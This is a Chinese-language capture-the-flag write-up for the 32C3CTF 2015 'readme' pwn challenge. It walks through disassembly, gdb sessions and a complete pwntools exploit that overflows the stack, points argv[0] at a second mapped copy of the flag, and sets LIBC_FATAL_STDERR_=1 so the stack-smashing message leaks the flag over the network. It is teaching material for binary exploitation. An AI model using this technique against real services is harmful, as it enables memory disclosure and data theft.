6.1.14 pwn 32C3CTF2015 readme
题目复现
$ file readme.bin
readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
$ checksec -f readme.bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin
开启了 Canary。
flag 就藏在二进制文件中的 .data 段上：
$ rabin2 -z readme.bin | grep 32C3
000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere...
程序接收两次输入，并打印出第一次输入的字符串（看起来并没有格式化字符串漏洞）：
$ ./readme.bin
Hello!
What's your name? %p.%p.%p.%p
Nice to meet you, %p.%p.%p.%p.
Please overwrite the flag: %d.%d.%d.%d
Thank you, bye!
$ python -c 'print "A"*300 + "\n" + "B"' > crash_input
$ ./readme.bin < crash_input
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin
Hello!
What's your name? Nice to meet you, A.
Please overwrite the flag: Thank you, bye!
第一次输入的字符串过多会导致栈冲突的问题，第二次的输入似乎就没有什么影响。
感觉和 6.1.13 那题一样，都是需要利用 __stack_chk_fail() 打印 flag（参考章节 4.12）。但这一题是动态链接程序，因为 libc-2.25 版本的更新，使 __stack_chk_fail() 不能用了。所以为了复现，我们选择Ubuntu 16.04，版本是 libc-2.23。
题目解析
来看一下程序的逻辑：
[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
/ (fcn) sub.Hello___What_s_your_name_7e0 206
| sub.Hello___What_s_your_name_7e0 ();
| ; var int local_108h @ rsp+0x108
| ; CALL XREF from 0x004006e2 (main)
| 0x004007e0 55 push rbp
| 0x004007e1 be34094000 mov esi, str.Hello___What_s_your_name ; 0x400934 ; "Hello!\nWhat's your name? "
| 0x004007e6 bf01000000 mov edi, 1
| 0x004007eb 53 push rbx ; 先保存下 rbx 的值，然后 rbx 被用作计数器
| 0x004007ec 4881ec180100. sub rsp, 0x118 ; rsp = rsp - 0x118
| 0x004007f3 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x004007fc 488984240801. mov qword [local_108h], rax ; Canary = [rsp + 0x108]
| 0x00400804 31c0 xor eax, eax
| 0x00400806 e8a5feffff call sym.imp.__printf_chk
| 0x0040080b 4889e7 mov rdi, rsp ; rdi = rsp，所以缓冲区大小 0x108
| 0x0040080e e8adfeffff call sym.imp._IO_gets ; 第一次输入，读取字符串
| 0x00400813 4885c0 test rax, rax
| ,=< 0x00400816 0f8483000000 je 0x40089f
| | 0x0040081c 4889e2 mov rdx, rsp
| | 0x0040081f be60094000 mov esi, str.Nice_to_meet_you___s.__Please_overwrite_the_flag: ; 0x400960 ; "Nice to meet you, %s.\nPlease overwrite the flag: "
| | 0x00400824 bf01000000 mov edi, 1
| | 0x00400829 31c0 xor eax, eax
| | 0x0040082b 31db xor ebx, ebx
| | 0x0040082d e87efeffff call sym.imp.__printf_chk
| | 0x00400832 660f1f440000 nop word [rax + rax]
| | ; JMP XREF from 0x0040085c (sub.Hello___What_s_your_name_7e0)
| .--> 0x00400838 488b3d090520. mov rdi, qword [obj.stdin] ; [0x600d48:8]=0 ; 临时存储区
| :| 0x0040083f e85cfeffff call sym.imp._IO_getc ; 第二次输入，每次读取一个字符
| :| 0x00400844 83f8ff cmp eax, 0xffffffffffffffff
| ,===< 0x00400847 7456 je 0x40089f
| |:| 0x00400849 83f80a cmp eax, 0xa ; 10 ; 是否为换行符
| ,====< 0x0040084c 7412 je 0x400860
| ||:| 0x0040084e 8883200d6000 mov byte [rbx + str.32C3_TheServerHasTheFlagHere...], al ; 将字符写入到原 flag+rbx 的地方
| ||:| 0x00400854 4883c301 add rbx, 1 ; 计数 + 1
| ||:| 0x00400858 4883fb20 cmp rbx, 0x20 ; 32 ; 最多读入 0x20 个字符
| ||`==< 0x0040085c 75da jne 0x400838 ; 继续循环
| ||,==< 0x0040085e eb18 jmp 0x400878 ; 结束循环
| |||| ; JMP XREF from 0x0040084c (sub.Hello___What_s_your_name_7e0)
| `----> 0x00400860 ba20000000 mov edx, 0x20 ; 32
| ||| 0x00400865 4863fb movsxd rdi, ebx
| ||| 0x00400868 31f6 xor esi, esi ; rsi = 0
| ||| 0x0040086a 29da sub edx, ebx ; 0x20 - 计数
| ||| 0x0040086c 4881c7200d60. add rdi, str.32C3_TheServerHasTheFlagHere... ; rdi = flag+rbx
| ||| 0x00400873 e8f8fdffff call sym.imp.memset ; void *memset(void *s, int c ; 将剩余的 flag 覆盖为 0
| ||| ; JMP XREF from 0x0040085e (sub.Hello___What_s_your_name_7e0)
| |`--> 0x00400878 bf4e094000 mov edi, str.Thank_you__bye ; 0x40094e ; "Thank you, bye!
| | | 0x0040087d e8befdffff call sym.imp.puts ; int puts(const char *s)
| | | 0x00400882 488b84240801. mov rax, qword [local_108h] ; [0x108:8]=-1 ; 264
| | | 0x0040088a 644833042528. xor rax, qword fs:[0x28]
| |,==< 0x00400893 7514 jne 0x4008a9 ; 验证 Canary
| ||| 0x00400895 4881c4180100. add rsp, 0x118
| ||| 0x0040089c 5b pop rbx
| ||| 0x0040089d 5d pop rbp
| ||| 0x0040089e c3 ret
| ||| ; JMP XREF from 0x00400816 (sub.Hello___What_s_your_name_7e0)
| ||| ; JMP XREF from 0x00400847 (sub.Hello___What_s_your_name_7e0)
| `-`-> 0x0040089f bf01000000 mov edi, 1
| | 0x004008a4 e887fdffff call sym.imp._exit ; void _exit(int status)
| | ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0)
\ `--> 0x004008a9 e8a2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi ; 验证失败时调用
[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere...
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa
0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere....
看注释已经很明显了，第一次的输入需要我们触发栈溢出，使程序调用 __stack_chk_fail()，并打印出 argv[0]。第二次的输入将覆盖掉位于 0x00600d20 的 flag。
漏洞利用
那么问题来了，如果 flag 被覆盖掉了，那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题，我们知道 x86-64 程序的映射是从 0x400000 开始的：
$ ld --verbose | grep __executable_start
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
在调试时我们又发现 readme.bin 被映射到下面的两个地址中：
gdb-peda$ b *0x0040080e
Breakpoint 1 at 0x40080e
gdb-peda$ r
gdb-peda$ vmmap readme.bin
Start End Perm Name
0x00400000 0x00401000 r-xp /home/firmyy/readme.bin
0x00600000 0x00601000 rw-p /home/firmyy/readme.bin
所以只要在二进制文件 0x00000000~0x00001000 范围内的内容都会被映射到内存中，分别以 0x600000 和 0x400000 作为起始地址 。flag 在 0x00000d20，所以会在内存中出现两次，分别位于 0x00600d20 和 0x00400d20：
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
所以即使 0x00600d20 的 flag 被覆盖了，0x00400d20 的 flag 依然存在。
让我们来找出 argv[0] 距离栈的距离：
gdb-peda$ find /home/firmyy/readme.bin
Searching for '/home/firmyy/readme.bin' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffef9f ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffefe0 ("/home/firmyy/readme.bin")
gdb-peda$ find 0x7fffffffe097
Searching for '0x7fffffffe097' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd23d8 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffdc78 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
gdb-peda$ x/10gx 0x7fffffffdc78
0x7fffffffdc78: 0x00007fffffffe097 0x0000000000000000
0x7fffffffdc88: 0x00007fffffffe0af 0x00007fffffffe0ba
0x7fffffffdc98: 0x00007fffffffe0cf 0x00007fffffffe0e6
0x7fffffffdca8: 0x00007fffffffe0f8 0x00007fffffffe12a
0x7fffffffdcb8: 0x00007fffffffe142 0x00007fffffffe158
gdb-peda$ x/10s 0x00007fffffffe097
0x7fffffffe097: "/home/firmyy/readme.bin"
0x7fffffffe0af: "XDG_VTNR=7"
0x7fffffffe0ba: "LC_PAPER=zh_CN.UTF-8"
0x7fffffffe0cf: "LC_ADDRESS=zh_CN.UTF-8"
0x7fffffffe0e6: "XDG_SESSION_ID=c1"
0x7fffffffe0f8: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/firmyy"
0x7fffffffe12a: "LC_MONETARY=zh_CN.UTF-8"
0x7fffffffe142: "CLUTTER_IM_MODULE=xim"
0x7fffffffe158: "SESSION=ubuntu"
0x7fffffffe167: "GPG_AGENT_INFO=/home/firmyy/.gnupg/S.gpg-agent:0:1"
gdb-peda$ distance $rsp 0x7fffffffdc78
From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords
536=0x218 个字节。第一次尝试：
from pwn import *
io = remote("127.0.0.1", 10001)
payload_1 = "A"*0x218 + p64(0x400d20)
io.sendline(payload_1)
payload_2 = "A"*4
io.sendline(payload_2)
print io.recvall()
在第一个终端里执行下面的命令，相当于远程服务器，并且将 stderr 重定向到 stdout：
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
然后在第二个终端里执行 exp：
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (627B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
咦，flag 并没有在我们执行 exp 的终端里打印出来，反而是打印在了执行程序的终端里：
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
所以我们需要做点事情，让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入，将 LIBC_FATAL_STDERR_=1 写入到环境变量中。结果如下：
gdb-peda$ x/10gx $rsp+0x218
0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000
0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100
0x7fffffffdcf8: 0x00007fffffffe123 0x00007fffffffe155
0x7fffffffdd08: 0x00007fffffffe181 0x00007fffffffe19f
0x7fffffffdd18: 0x00007fffffffe1bf 0x00007fffffffe1df
gdb-peda$ x/s 0x400d20
0x400d20: "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x600d20
0x600d20: "LIBC_FATAL_STDERR_=1"
函数 __GI___libc_secure_getenv 成功获取到了环境变量 LIBC_FATAL_STDERR_ 的值 1：
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x600d33 --> 0x31 ('1')
RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n")
RCX: 0xe
RDX: 0x0
RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_")
RDI: 0x600d22 ("BC_FATAL_STDERR_=1")
RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected")
RSP: 0x7fffffffd9f0 --> 0x0
RIP: 0x7ffff7a8455a (<__libc_message+74>: test rax,rax)
R8 : 0x1010
R9 : 0x24a
R10: 0x1c7
R11: 0x0
R12: 0x7ffff7b9ac35 ("<unknown>")
R13: 0x7fffffffdcd0 ("AAAAAAAA \r@")
R14: 0x0
R15: 0x1
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a8454a <__libc_message+58>: mov DWORD PTR [rbp-0x78],0x10
0x7ffff7a84551 <__libc_message+65>: mov QWORD PTR [rbp-0x68],rax
0x7ffff7a84555 <__libc_message+69>: call 0x7ffff7a46ef0 <__GI___libc_secure_getenv>
=> 0x7ffff7a8455a <__libc_message+74>: test rax,rax
0x7ffff7a8455d <__libc_message+77>: je 0x7ffff7a84568 <__libc_message+88>
0x7ffff7a8455f <__libc_message+79>: cmp BYTE PTR [rax],0x0
0x7ffff7a84562 <__libc_message+82>: jne 0x7ffff7a846f7 <__libc_message+487>
0x7ffff7a84568 <__libc_message+88>: mov esi,0x902
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9f0 --> 0x0
0008| 0x7fffffffd9f8 --> 0x0
0016| 0x7fffffffda00 --> 0x0
0024| 0x7fffffffda08 --> 0x10
0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14
0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0056| 0x7fffffffda28 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
__libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
at ../sysdeps/posix/libc_fatal.c:81
81 ../sysdeps/posix/libc_fatal.c: No such file or directory.
Bingo!!!
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (703B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
exploit
最终的 exp 如下：
from pwn import *
io = remote("127.0.0.1", 10001)
#io = process('./readme.bin')
#context.log_level = 'debug'
payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
io.sendline(payload_1)
payload_2 = "LIBC_FATAL_STDERR_=1"
io.sendline(payload_2)
print io.recvall()